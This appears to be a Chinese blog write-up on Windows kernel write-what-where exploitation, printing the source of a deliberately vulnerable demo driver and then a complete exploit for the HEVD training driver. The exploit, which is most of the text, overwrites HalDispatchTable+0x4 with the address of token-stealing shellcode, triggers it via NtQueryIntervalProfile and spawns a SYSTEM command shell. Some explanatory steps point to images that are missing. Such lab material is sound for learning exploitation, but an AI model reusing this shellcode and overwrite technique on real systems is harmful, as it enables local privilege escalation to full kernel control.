任意內存覆蓋 對於 那些比較老舊的系統而言 我感覺還是比較簡單的
但是對於那些 新的系統 新加的那些保護來看的話 估計就比較困難了
先說0day的那個demo 驅動的代碼如下
/********************************************************************
created: 2010/12/06
filename: D:\0day\ExploitMe\exploitme.c
author: shineast
purpose: Exploit me driver demo
*********************************************************************/
#include <ntddk.h>
#define DEVICE_NAME L"\\Device\\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\DRIECTX1"
#define FILE_DEVICE_EXPLOIT_ME 0x00008888
#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME,0x800,METHOD_NEITHER,FILE_WRITE_ACCESS)
//創建的設備對象指針
PDEVICE_OBJECT g_DeviceObject;
/**********************************************************************
驅動派遣例程函數
輸入:驅動對象的指針,Irp指針
輸出:NTSTATUS類型的結果
**********************************************************************/
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp)
{
PIO_STACK_LOCATION pIrpStack;//當前的pIrp棧
PVOID Type3InputBuffer;//用戶態輸入地址
PVOID UserBuffer;//用戶態輸出地址
ULONG inputBufferLength;//輸入緩衝區的大小
ULONG outputBufferLength;//輸出緩衝區的大小
ULONG ioControlCode;//DeviceIoControl的控制號
PIO_STATUS_BLOCK IoStatus;//pIrp的IO狀態指針
NTSTATUS ntStatus=STATUS_SUCCESS;//函數返回值
//獲取數據
pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
UserBuffer = pIrp->UserBuffer;
inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
IoStatus=&pIrp->IoStatus;
IoStatus->Status = STATUS_SUCCESS;// Assume success
IoStatus->Information = 0;// Assume nothing returned
//根據 ioControlCode 完成對應的任務
switch(ioControlCode)
{
case IOCTL_EXPLOIT_ME:
if ( inputBufferLength >= 4 && outputBufferLength >= 4 )
{
*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
IoStatus->Information = sizeof(ULONG);
}
break;
}
//返回
IoStatus->Status = ntStatus;
IoCompleteRequest(pIrp,IO_NO_INCREMENT);
return ntStatus;
}
/**********************************************************************
驅動卸載函數
輸入:驅動對象的指針
輸出:無
**********************************************************************/
VOID DriverUnload( IN PDRIVER_OBJECT driverObject )
{
UNICODE_STRING symLinkName;
KdPrint(("DriverUnload: 88!\n"));
RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
IoDeleteSymbolicLink(&symLinkName);
IoDeleteDevice( g_DeviceObject );
}
/*********************************************************************
驅動入口函數(相當於main函數)
輸入:驅動對象的指針,服務程序對應的註冊表路徑
輸出:NTSTATUS類型的結果
**********************************************************************/
NTSTATUS DriverEntry( IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath )
{
NTSTATUS ntStatus;
UNICODE_STRING devName;
UNICODE_STRING symLinkName;
int i=0;
//打印一句調試信息
KdPrint(("DriverEntry: Exploit me driver demo!\n"));
//創建設備
RtlInitUnicodeString(&devName,DEVICE_NAME);
ntStatus = IoCreateDevice( driverObject,
0,
&devName,
FILE_DEVICE_UNKNOWN,
0, TRUE,
&g_DeviceObject );
if (!NT_SUCCESS(ntStatus))
{
return ntStatus;
}
//創建符號鏈接
RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
ntStatus = IoCreateSymbolicLink( &symLinkName,&devName );
if (!NT_SUCCESS(ntStatus))
{
IoDeleteDevice( g_DeviceObject );
return ntStatus;
}
//設置該驅動對象的卸載函數
driverObject->DriverUnload = DriverUnload;
//設置該驅動對象的派遣例程函數
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
driverObject->MajorFunction[i] = DrvDispatch;
}
//返回成功結果
return STATUS_SUCCESS;
}
這一眼就能看出來利用點在哪
不過有一點比較好奇 當我把這個sys 拖入ida 裏面看的時候
取出來的buf 爲啥解析的有點問題呢=== 是偏移量不對麼00000 感覺是個坑=== 一開始和我一個朋友 還特地去 扒了一下 MSDN
然後去看各種資料 去找到了這個結構===
然後 溢出點就在
可以 根據他來修改 任意的地址內存 那麼也就是說 我們可以把一個不常用的系統函數的指針傳進去 改成shellcode 的地址
這裏就不詳情看這個demo了 這裏書上介紹的方法就是把shellcode 的地址改成0 然後再把 一個不常用的函數地址改成0 就可以了
下面重點介紹一下 HEVD 的任意任意內存覆蓋漏洞
先看一下 關鍵代碼
咦 = 這裏我們可以去看看 ProbeForRead 這個函數 因爲這裏看到了 用 ProbeForRead 判斷了這兩個函數
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-probeforread
這個是MSDN 的解釋 實際上就是檢查用戶模式緩衝區是否實際駐留在地址空間的用戶部分中 也就是說 檢查 緩衝區是否在 r3 程序中===
如果不檢查的話 也可以按照上面的思想去搞這個題目 這裏的不常用的函數指針 就是 HalDispatchTable+0x4
至於shellcode 的 pop 可以看
可以搞定了==
獲取這個函數的地址的方法 可以看exp===
exp 如下
#include<Windows.h>
#include<stdio.h>
#include<Psapi.h>
#define Write_What_Where 0x22200B
HANDLE hDevice = NULL;
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
IN ULONG ProfileSource,
OUT PULONG Interval
);
static VOID ShellCode()
{
_asm
{
//int 3
pop edi // the stack balancing
pop esi
pop ebx
pushad
mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread
mov eax, [eax + 0x50] // Find the _EPROCESS structure
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// The loop is to get the _EPROCESS of the system
find_sys_pid :
mov eax, [eax + 0xb8] // Find the process activity list
sub eax, 0xb8 // List traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PID
jnz find_sys_pid
// Replace the Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
//int 3
ret
}
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
if (bReturn)
CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
LPVOID NtkrnlpaBase()
{
LPVOID lmbase[1024];
DWORD lpbet;
TCHAR lpName[1024];
EnumDeviceDrivers(lmbase, sizeof(lmbase), &lpbet);///需要枚舉所有的設備驅動地址,這裏可以使用EnumDeviceDrivers
for (int i = 0; i < 1024;i++)
{
GetDeviceDriverBaseNameA(lmbase[i], lpName, 100);
if (!strcmp(lpName,"ntkrnlpa.exe"))
{
return lmbase[i];
}
}
return NULL;
}
DWORD32 Getfunction_off()
{
LPVOID lpbase = NtkrnlpaBase();
if (lpbase == NULL)
{
return 0;
}
printf("[*] Get Base : %x", lpbase);
HMODULE ntkrnlpabase = LoadLibrary("ntkrnlpa.exe");
PVOID pHalDispatchTable = GetProcAddress(ntkrnlpabase, "HalDispatchTable");
DWORD32 hal_4 = 0;
hal_4 = (DWORD32)lpbase + ((DWORD32)pHalDispatchTable - (DWORD32)ntkrnlpabase) + 0x4;
printf("[*] Get function %x", hal_4);
return hal_4;
}
VOID Trigger_shellcode(DWORD32 where, DWORD32 what)
{
WRITE_WHAT_WHERE exploit;
DWORD lpbReturn = 0;
exploit.Where = (PULONG_PTR)where;
exploit.What = (PULONG_PTR)& what;
printf("[+]Write at 0x%p\n", where);
printf("[+]Write with 0x%p\n", what);
printf("[+]Start to trigger...\n");
DeviceIoControl(hDevice,
Write_What_Where,
&exploit,
sizeof(WRITE_WHAT_WHERE),
NULL,
0,
&lpbReturn,
NULL);
printf("[+]Success to trigger...\n");
}
int main()
{
DWORD interVal;
hDevice = CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("[!] open hDevice error\n");
return 0;
}
DWORD fun_addr=Getfunction_off();
if (fun_addr == 0)
{
printf("[!] fun addr error!!!");
return 0;
}
else
{
Trigger_shellcode((DWORD32)fun_addr, (DWORD32)&ShellCode);
}
NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
NtQueryIntervalProfile(0x1337, &interVal);
printf("[+]Start to Create cmd...\n");
CreateCmd();
system("pause");
}
ok =====